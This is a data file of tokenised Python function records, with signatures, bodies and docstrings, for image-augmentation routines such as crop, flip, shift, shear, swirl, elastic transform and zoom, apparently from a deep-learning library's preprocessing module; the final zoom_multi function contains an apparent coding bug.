{"signature": "def crop(x, wrg, hrg, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>):", "body": "h, w = x.shape[row_index], x.shape[col_index]<EOL>if (h < hrg) or (w < wrg):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_random:<EOL><INDENT>h_offset = int(np.random.uniform(<NUM_LIT:0>, h - hrg))<EOL>w_offset = int(np.random.uniform(<NUM_LIT:0>, w - wrg))<EOL>return x[h_offset:hrg + h_offset, w_offset:wrg + w_offset]<EOL><DEDENT>else:  <EOL><INDENT>h_offset = int(np.floor((h - hrg) / <NUM_LIT>))<EOL>w_offset = int(np.floor((w - wrg) / <NUM_LIT>))<EOL>h_end = h_offset + hrg<EOL>w_end = w_offset + wrg<EOL>return x[h_offset:h_end, w_offset:w_end]<EOL><DEDENT>", "docstring": "Randomly or centrally crop an image.\n\n    Parameters\n    ----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    wrg : int\n        Size of width.\n    hrg : int\n        Size of height.\n    is_random : boolean,\n        If True, randomly crop, else central crop. Default is False.\n    row_index: int\n        index of row.\n    col_index: int\n        index of column.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m15"}
{"signature": "def crop_multi(x, wrg, hrg, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>):", "body": "h, w = x[<NUM_LIT:0>].shape[row_index], x[<NUM_LIT:0>].shape[col_index]<EOL>if (h < hrg) or (w < wrg):<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if is_random:<EOL><INDENT>h_offset = int(np.random.uniform(<NUM_LIT:0>, h - hrg))<EOL>w_offset = int(np.random.uniform(<NUM_LIT:0>, w - wrg))<EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(data[h_offset:hrg + h_offset, w_offset:wrg + w_offset])<EOL><DEDENT>return np.asarray(results)<EOL><DEDENT>else:<EOL><INDENT>h_offset = (h - hrg) / <NUM_LIT:2><EOL>w_offset = (w - wrg) / <NUM_LIT:2><EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(data[h_offset:h - h_offset, w_offset:w - w_offset])<EOL><DEDENT>return np.asarray(results)<EOL><DEDENT>", "docstring": "Randomly or centrally crop multiple images.\n\n    Parameters\n    ----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.crop``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m16"}
{"signature": "def flip_axis(x, axis=<NUM_LIT:1>, is_random=False):", "body": "if is_random:<EOL><INDENT>factor = np.random.uniform(-<NUM_LIT:1>, <NUM_LIT:1>)<EOL>if factor > <NUM_LIT:0>:<EOL><INDENT>x = np.asarray(x).swapaxes(axis, <NUM_LIT:0>)<EOL>x = x[::-<NUM_LIT:1>, ...]<EOL>x = x.swapaxes(<NUM_LIT:0>, axis)<EOL>return x<EOL><DEDENT>else:<EOL><INDENT>return x<EOL><DEDENT><DEDENT>else:<EOL><INDENT>x = np.asarray(x).swapaxes(axis, <NUM_LIT:0>)<EOL>x = x[::-<NUM_LIT:1>, ...]<EOL>x = x.swapaxes(<NUM_LIT:0>, axis)<EOL>return x<EOL><DEDENT>", "docstring": "Flip the axis of an image, such as flip left and right, up and down, randomly or non-randomly,\n\n    Parameters\n    ----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    axis : int\n        Which axis to flip.\n            - 0, flip up and down\n            - 1, flip left and right\n            - 2, flip channel\n    is_random : boolean\n        If True, randomly flip. Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m17"}
{"signature": "def flip_axis_multi(x, axis, is_random=False):", "body": "if is_random:<EOL><INDENT>factor = np.random.uniform(-<NUM_LIT:1>, <NUM_LIT:1>)<EOL>if factor > <NUM_LIT:0>:<EOL><INDENT>results = []<EOL>for data in x:<EOL><INDENT>data = np.asarray(data).swapaxes(axis, <NUM_LIT:0>)<EOL>data = data[::-<NUM_LIT:1>, ...]<EOL>data = data.swapaxes(<NUM_LIT:0>, axis)<EOL>results.append(data)<EOL><DEDENT>return np.asarray(results)<EOL><DEDENT>else:<EOL><INDENT>return np.asarray(x)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>results = []<EOL>for data in x:<EOL><INDENT>data = np.asarray(data).swapaxes(axis, <NUM_LIT:0>)<EOL>data = data[::-<NUM_LIT:1>, ...]<EOL>data = data.swapaxes(<NUM_LIT:0>, axis)<EOL>results.append(data)<EOL><DEDENT>return np.asarray(results)<EOL><DEDENT>", "docstring": "Flip the axises of multiple images together, such as flip left and right, up and down, randomly or non-randomly,\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.flip_axis``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m18"}
{"signature": "def shift(<EOL>x, wrg=<NUM_LIT:0.1>, hrg=<NUM_LIT:0.1>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "h, w = x.shape[row_index], x.shape[col_index]<EOL>if is_random:<EOL><INDENT>tx = np.random.uniform(-hrg, hrg) * h<EOL>ty = np.random.uniform(-wrg, wrg) * w<EOL><DEDENT>else:<EOL><INDENT>tx, ty = hrg * h, wrg * w<EOL><DEDENT>translation_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, tx], [<NUM_LIT:0>, <NUM_LIT:1>, ty], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>transform_matrix = translation_matrix  <EOL>x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order)<EOL>return x<EOL>", "docstring": "Shift an image randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    wrg : float\n        Percentage of shift in axis x, usually -0.25 ~ 0.25.\n    hrg : float\n        Percentage of shift in axis y, usually -0.25 ~ 0.25.\n    is_random : boolean\n        If True, randomly shift. Default is False.\n    row_index col_index and channel_index : int\n        Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0).\n    fill_mode : str\n        Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n    cval : float\n        Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0.\n    order : int\n        The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m19"}
{"signature": "def shift_multi(<EOL>x, wrg=<NUM_LIT:0.1>, hrg=<NUM_LIT:0.1>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "h, w = x[<NUM_LIT:0>].shape[row_index], x[<NUM_LIT:0>].shape[col_index]<EOL>if is_random:<EOL><INDENT>tx = np.random.uniform(-hrg, hrg) * h<EOL>ty = np.random.uniform(-wrg, wrg) * w<EOL><DEDENT>else:<EOL><INDENT>tx, ty = hrg * h, wrg * w<EOL><DEDENT>translation_matrix = np.array([[<NUM_LIT:1>, <NUM_LIT:0>, tx], [<NUM_LIT:0>, <NUM_LIT:1>, ty], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>transform_matrix = translation_matrix  <EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order))<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Shift images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.shift``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m20"}
{"signature": "def shear(<EOL>x, intensity=<NUM_LIT:0.1>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "if is_random:<EOL><INDENT>shear = np.random.uniform(-intensity, intensity)<EOL><DEDENT>else:<EOL><INDENT>shear = intensity<EOL><DEDENT>shear_matrix = np.array([[<NUM_LIT:1>, -np.sin(shear), <NUM_LIT:0>], [<NUM_LIT:0>, np.cos(shear), <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x.shape[row_index], x.shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)<EOL>x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order)<EOL>return x<EOL>", "docstring": "Shear an image randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    intensity : float\n        Percentage of shear, usually -0.5 ~ 0.5 (is_random==True), 0 ~ 0.5 (is_random==False),\n        you can have a quick try by shear(X, 1).\n    is_random : boolean\n        If True, randomly shear. Default is False.\n    row_index col_index and channel_index : int\n        Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0).\n    fill_mode : str\n        Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n    cval : float\n        Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0.\n    order : int\n        The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    References\n    -----------\n    - `Affine transformation <https://uk.mathworks.com/discovery/affine-transformation.html>`__", "id": "f11202:m21"}
{"signature": "def shear_multi(<EOL>x, intensity=<NUM_LIT:0.1>, is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "if is_random:<EOL><INDENT>shear = np.random.uniform(-intensity, intensity)<EOL><DEDENT>else:<EOL><INDENT>shear = intensity<EOL><DEDENT>shear_matrix = np.array([[<NUM_LIT:1>, -np.sin(shear), <NUM_LIT:0>], [<NUM_LIT:0>, np.cos(shear), <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x[<NUM_LIT:0>].shape[row_index], x[<NUM_LIT:0>].shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)<EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order))<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Shear images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.shear``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m22"}
{"signature": "def shear2(<EOL>x, shear=(<NUM_LIT:0.1>, <NUM_LIT:0.1>), is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "if len(shear) != <NUM_LIT:2>:<EOL><INDENT>raise AssertionError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if isinstance(shear, tuple):<EOL><INDENT>shear = list(shear)<EOL><DEDENT>if is_random:<EOL><INDENT>shear[<NUM_LIT:0>] = np.random.uniform(-shear[<NUM_LIT:0>], shear[<NUM_LIT:0>])<EOL>shear[<NUM_LIT:1>] = np.random.uniform(-shear[<NUM_LIT:1>], shear[<NUM_LIT:1>])<EOL><DEDENT>shear_matrix = np.array([[<NUM_LIT:1>, shear[<NUM_LIT:0>], <NUM_LIT:0>],[shear[<NUM_LIT:1>], <NUM_LIT:1>, <NUM_LIT:0>],[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x.shape[row_index], x.shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)<EOL>x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order)<EOL>return x<EOL>", "docstring": "Shear an image randomly or non-randomly.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    shear : tuple of two floats\n        Percentage of shear for height and width direction (0, 1).\n    is_random : boolean\n        If True, randomly shear. Default is False.\n    row_index col_index and channel_index : int\n        Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0).\n    fill_mode : str\n        Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n    cval : float\n        Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0.\n    order : int\n        The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    References\n    -----------\n    - `Affine transformation <https://uk.mathworks.com/discovery/affine-transformation.html>`__", "id": "f11202:m23"}
{"signature": "def shear_multi2(<EOL>x, shear=(<NUM_LIT:0.1>, <NUM_LIT:0.1>), is_random=False, row_index=<NUM_LIT:0>, col_index=<NUM_LIT:1>, channel_index=<NUM_LIT:2>, fill_mode='<STR_LIT>', cval=<NUM_LIT:0.>,<EOL>order=<NUM_LIT:1><EOL>):", "body": "if len(shear) != <NUM_LIT:2>:<EOL><INDENT>raise AssertionError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if isinstance(shear, tuple):<EOL><INDENT>shear = list(shear)<EOL><DEDENT>if is_random:<EOL><INDENT>shear[<NUM_LIT:0>] = np.random.uniform(-shear[<NUM_LIT:0>], shear[<NUM_LIT:0>])<EOL>shear[<NUM_LIT:1>] = np.random.uniform(-shear[<NUM_LIT:1>], shear[<NUM_LIT:1>])<EOL><DEDENT>shear_matrix = np.array([[<NUM_LIT:1>, shear[<NUM_LIT:0>], <NUM_LIT:0>], [shear[<NUM_LIT:1>], <NUM_LIT:1>, <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>h, w = x[<NUM_LIT:0>].shape[row_index], x[<NUM_LIT:0>].shape[col_index]<EOL>transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)<EOL>results = []<EOL>for data in x:<EOL><INDENT>results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order))<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Shear images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.shear2``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m24"}
{"signature": "def swirl(<EOL>x, center=None, strength=<NUM_LIT:1>, radius=<NUM_LIT:100>, rotation=<NUM_LIT:0>, output_shape=None, order=<NUM_LIT:1>, mode='<STR_LIT>', cval=<NUM_LIT:0>,<EOL>clip=True, preserve_range=False, is_random=False<EOL>):", "body": "if radius == <NUM_LIT:0>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>rotation = np.pi / <NUM_LIT> * rotation<EOL>if is_random:<EOL><INDENT>center_h = int(np.random.uniform(<NUM_LIT:0>, x.shape[<NUM_LIT:0>]))<EOL>center_w = int(np.random.uniform(<NUM_LIT:0>, x.shape[<NUM_LIT:1>]))<EOL>center = (center_h, center_w)<EOL>strength = np.random.uniform(<NUM_LIT:0>, strength)<EOL>radius = np.random.uniform(<NUM_LIT>, radius)<EOL>rotation = np.random.uniform(-rotation, rotation)<EOL><DEDENT>max_v = np.max(x)<EOL>if max_v > <NUM_LIT:1>:  <EOL><INDENT>x = x / max_v<EOL><DEDENT>swirled = skimage.transform.swirl(<EOL>x, center=center, strength=strength, radius=radius, rotation=rotation, output_shape=output_shape, order=order,<EOL>mode=mode, cval=cval, clip=clip, preserve_range=preserve_range<EOL>)<EOL>if max_v > <NUM_LIT:1>:<EOL><INDENT>swirled = swirled * max_v<EOL><DEDENT>return swirled<EOL>", "docstring": "Swirl an image randomly or non-randomly, see `scikit-image swirl API <http://scikit-image.org/docs/dev/api/skimage.transform.html#skimage.transform.swirl>`__\n    and `example <http://scikit-image.org/docs/dev/auto_examples/plot_swirl.html>`__.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    center : tuple or 2 int or None\n        Center coordinate of transformation (optional).\n    strength : float\n        The amount of swirling applied.\n    radius : float\n        The extent of the swirl in pixels. The effect dies out rapidly beyond radius.\n    rotation : float\n        Additional rotation applied to the image, usually [0, 360], relates to center.\n    output_shape : tuple of 2 int or None\n        Shape of the output image generated (height, width). By default the shape of the input image is preserved.\n    order : int, optional\n        The order of the spline interpolation, default is 1. The order has to be in the range 0-5. See skimage.transform.warp for detail.\n    mode : str\n        One of `constant` (default), `edge`, `symmetric` `reflect` and `wrap`.\n        Points outside the boundaries of the input are filled according to the given mode, with `constant` used as the default. Modes match the behaviour of numpy.pad.\n    cval : float\n        Used in conjunction with mode `constant`, the value outside the image boundaries.\n    clip : boolean\n        Whether to clip the output to the range of values of the input image. This is enabled by default, since higher order interpolation may produce values outside the given input range.\n    preserve_range : boolean\n        Whether to keep the original range of values. Otherwise, the input image is converted according to the conventions of img_as_float.\n    is_random : boolean,\n        If True, random swirl. Default is False.\n            - random center = [(0 ~ x.shape[0]), (0 ~ x.shape[1])]\n            - random strength = [0, strength]\n            - random radius = [1e-10, radius]\n            - random rotation = [-rotation, rotation]\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ---------\n    >>> x --> [row, col, 1] greyscale\n    >>> x = tl.prepro.swirl(x, strength=4, radius=100)", "id": "f11202:m25"}
{"signature": "def swirl_multi(<EOL>x, center=None, strength=<NUM_LIT:1>, radius=<NUM_LIT:100>, rotation=<NUM_LIT:0>, output_shape=None, order=<NUM_LIT:1>, mode='<STR_LIT>', cval=<NUM_LIT:0>,<EOL>clip=True, preserve_range=False, is_random=False<EOL>):", "body": "if radius == <NUM_LIT:0>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>rotation = np.pi / <NUM_LIT> * rotation<EOL>if is_random:<EOL><INDENT>center_h = int(np.random.uniform(<NUM_LIT:0>, x[<NUM_LIT:0>].shape[<NUM_LIT:0>]))<EOL>center_w = int(np.random.uniform(<NUM_LIT:0>, x[<NUM_LIT:0>].shape[<NUM_LIT:1>]))<EOL>center = (center_h, center_w)<EOL>strength = np.random.uniform(<NUM_LIT:0>, strength)<EOL>radius = np.random.uniform(<NUM_LIT>, radius)<EOL>rotation = np.random.uniform(-rotation, rotation)<EOL><DEDENT>results = []<EOL>for data in x:<EOL><INDENT>max_v = np.max(data)<EOL>if max_v > <NUM_LIT:1>:  <EOL><INDENT>data = data / max_v<EOL><DEDENT>swirled = skimage.transform.swirl(<EOL>data, center=center, strength=strength, radius=radius, rotation=rotation, output_shape=output_shape,<EOL>order=order, mode=mode, cval=cval, clip=clip, preserve_range=preserve_range<EOL>)<EOL>if max_v > <NUM_LIT:1>:<EOL><INDENT>swirled = swirled * max_v<EOL><DEDENT>results.append(swirled)<EOL><DEDENT>return np.asarray(results)<EOL>", "docstring": "Swirl multiple images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.swirl``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m26"}
{"signature": "def elastic_transform(x, alpha, sigma, mode=\"<STR_LIT>\", cval=<NUM_LIT:0>, is_random=False):", "body": "if is_random is False:<EOL><INDENT>random_state = np.random.RandomState(None)<EOL><DEDENT>else:<EOL><INDENT>random_state = np.random.RandomState(int(time.time()))<EOL><DEDENT>is_3d = False<EOL>if len(x.shape) == <NUM_LIT:3> and x.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>x = x[:, :, <NUM_LIT:0>]<EOL>is_3d = True<EOL><DEDENT>elif len(x.shape) == <NUM_LIT:3> and x.shape[-<NUM_LIT:1>] != <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if len(x.shape) != <NUM_LIT:2>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>shape = x.shape<EOL>dx = gaussian_filter((random_state.rand(*shape) * <NUM_LIT:2> - <NUM_LIT:1>), sigma, mode=mode, cval=cval) * alpha<EOL>dy = gaussian_filter((random_state.rand(*shape) * <NUM_LIT:2> - <NUM_LIT:1>), sigma, mode=mode, cval=cval) * alpha<EOL>x_, y_ = np.meshgrid(np.arange(shape[<NUM_LIT:0>]), np.arange(shape[<NUM_LIT:1>]), indexing='<STR_LIT>')<EOL>indices = np.reshape(x_ + dx, (-<NUM_LIT:1>, <NUM_LIT:1>)), np.reshape(y_ + dy, (-<NUM_LIT:1>, <NUM_LIT:1>))<EOL>if is_3d:<EOL><INDENT>return map_coordinates(x, indices, order=<NUM_LIT:1>).reshape((shape[<NUM_LIT:0>], shape[<NUM_LIT:1>], <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return map_coordinates(x, indices, order=<NUM_LIT:1>).reshape(shape)<EOL><DEDENT>", "docstring": "Elastic transformation for image as described in `[Simard2003] <http://deeplearning.cs.cmu.edu/pdfs/Simard.pdf>`__.\n\n    Parameters\n    -----------\n    x : numpy.array\n        A greyscale image.\n    alpha : float\n        Alpha value for elastic transformation.\n    sigma : float or sequence of float\n        The smaller the sigma, the more transformation. Standard deviation for Gaussian kernel. The standard deviations of the Gaussian filter are given for each axis as a sequence, or as a single number, in which case it is equal for all axes.\n    mode : str\n        See `scipy.ndimage.filters.gaussian_filter <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.filters.gaussian_filter.html>`__. Default is `constant`.\n    cval : float,\n        Used in conjunction with `mode` of `constant`, the value outside the image boundaries.\n    is_random : boolean\n        Default is False.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.\n\n    Examples\n    ---------\n    >>> x = tl.prepro.elastic_transform(x, alpha=x.shape[1]*3, sigma=x.shape[1]*0.07)\n\n    References\n    ------------\n    - `Github <https://gist.github.com/chsasank/4d8f68caf01f041a6453e67fb30f8f5a>`__.\n    - `Kaggle <https://www.kaggle.com/pscion/ultrasound-nerve-segmentation/elastic-transform-for-data-augmentation-0878921a>`__", "id": "f11202:m27"}
{"signature": "def elastic_transform_multi(x, alpha, sigma, mode=\"<STR_LIT>\", cval=<NUM_LIT:0>, is_random=False):", "body": "if is_random is False:<EOL><INDENT>random_state = np.random.RandomState(None)<EOL><DEDENT>else:<EOL><INDENT>random_state = np.random.RandomState(int(time.time()))<EOL><DEDENT>shape = x[<NUM_LIT:0>].shape<EOL>if len(shape) == <NUM_LIT:3>:<EOL><INDENT>shape = (shape[<NUM_LIT:0>], shape[<NUM_LIT:1>])<EOL><DEDENT>new_shape = random_state.rand(*shape)<EOL>results = []<EOL>for data in x:<EOL><INDENT>is_3d = False<EOL>if len(data.shape) == <NUM_LIT:3> and data.shape[-<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>data = data[:, :, <NUM_LIT:0>]<EOL>is_3d = True<EOL><DEDENT>elif len(data.shape) == <NUM_LIT:3> and data.shape[-<NUM_LIT:1>] != <NUM_LIT:1>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if len(data.shape) != <NUM_LIT:2>:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>dx = gaussian_filter((new_shape * <NUM_LIT:2> - <NUM_LIT:1>), sigma, mode=mode, cval=cval) * alpha<EOL>dy = gaussian_filter((new_shape * <NUM_LIT:2> - <NUM_LIT:1>), sigma, mode=mode, cval=cval) * alpha<EOL>x_, y_ = np.meshgrid(np.arange(shape[<NUM_LIT:0>]), np.arange(shape[<NUM_LIT:1>]), indexing='<STR_LIT>')<EOL>indices = np.reshape(x_ + dx, (-<NUM_LIT:1>, <NUM_LIT:1>)), np.reshape(y_ + dy, (-<NUM_LIT:1>, <NUM_LIT:1>))<EOL>if is_3d:<EOL><INDENT>results.append(map_coordinates(data, indices, order=<NUM_LIT:1>).reshape((shape[<NUM_LIT:0>], shape[<NUM_LIT:1>], <NUM_LIT:1>)))<EOL><DEDENT>else:<EOL><INDENT>results.append(map_coordinates(data, indices, order=<NUM_LIT:1>).reshape(shape))<EOL><DEDENT><DEDENT>return np.asarray(results)<EOL>", "docstring": "Elastic transformation for images as described in `[Simard2003] <http://deeplearning.cs.cmu.edu/pdfs/Simard.pdf>`__.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of greyscale images.\n    others : args\n        See ``tl.prepro.elastic_transform``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m28"}
{"signature": "def zoom(x, zoom_range=(<NUM_LIT>, <NUM_LIT>), flags=None, border_mode='<STR_LIT>'):", "body": "zoom_matrix = affine_zoom_matrix(zoom_range=zoom_range)<EOL>h, w = x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>]<EOL>transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)<EOL>x = affine_transform_cv2(x, transform_matrix, flags=flags, border_mode=border_mode)<EOL>return x<EOL>", "docstring": "Zooming/Scaling a single image that height and width are changed together.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    zoom_range : float or tuple of 2 floats\n        The zooming/scaling ratio, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between 2 values.\n    border_mode : str\n        - `constant`, pad the image with a constant value (i.e. black or 0)\n        - `replicate`, the row or column at the very edge of the original is replicated to the extra border.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m29"}
{"signature": "def respective_zoom(x, h_range=(<NUM_LIT>, <NUM_LIT>), w_range=(<NUM_LIT>, <NUM_LIT>), flags=None, border_mode='<STR_LIT>'):", "body": "zoom_matrix = affine_respective_zoom_matrix(h_range=h_range, w_range=w_range)<EOL>h, w = x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>]<EOL>transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)<EOL>x = affine_transform_cv2(<EOL>x, transform_matrix, flags=flags, border_mode=border_mode<EOL>)  <EOL>return x<EOL>", "docstring": "Zooming/Scaling a single image that height and width are changed independently.\n\n    Parameters\n    -----------\n    x : numpy.array\n        An image with dimension of [row, col, channel] (default).\n    h_range : float or tuple of 2 floats\n        The zooming/scaling ratio of height, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between 2 values.\n    w_range : float or tuple of 2 floats\n        The zooming/scaling ratio of width, greater than 1 means larger.\n            - float, a fixed ratio.\n            - tuple of 2 floats, randomly sample a value as the ratio between 2 values.\n    border_mode : str\n        - `constant`, pad the image with a constant value (i.e. black or 0)\n        - `replicate`, the row or column at the very edge of the original is replicated to the extra border.\n\n    Returns\n    -------\n    numpy.array\n        A processed image.", "id": "f11202:m30"}
{"signature": "def zoom_multi(x, zoom_range=(<NUM_LIT>, <NUM_LIT>), flags=None, border_mode='<STR_LIT>'):", "body": "zoom_matrix = affine_zoom_matrix(zoom_range=zoom_range)<EOL>results = []<EOL>for img in x:<EOL><INDENT>h, w = x.shape[<NUM_LIT:0>], x.shape[<NUM_LIT:1>]<EOL>transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)<EOL>results.append(affine_transform_cv2(x, transform_matrix, flags=flags, border_mode=border_mode))<EOL><DEDENT>return result<EOL>", "docstring": "Zoom in and out of images with the same arguments, randomly or non-randomly.\n    Usually be used for image segmentation which x=[X, Y], X and Y should be matched.\n\n    Parameters\n    -----------\n    x : list of numpy.array\n        List of images with dimension of [n_images, row, col, channel] (default).\n    others : args\n        See ``tl.prepro.zoom``.\n\n    Returns\n    -------\n    numpy.array\n        A list of processed images.", "id": "f11202:m31"}
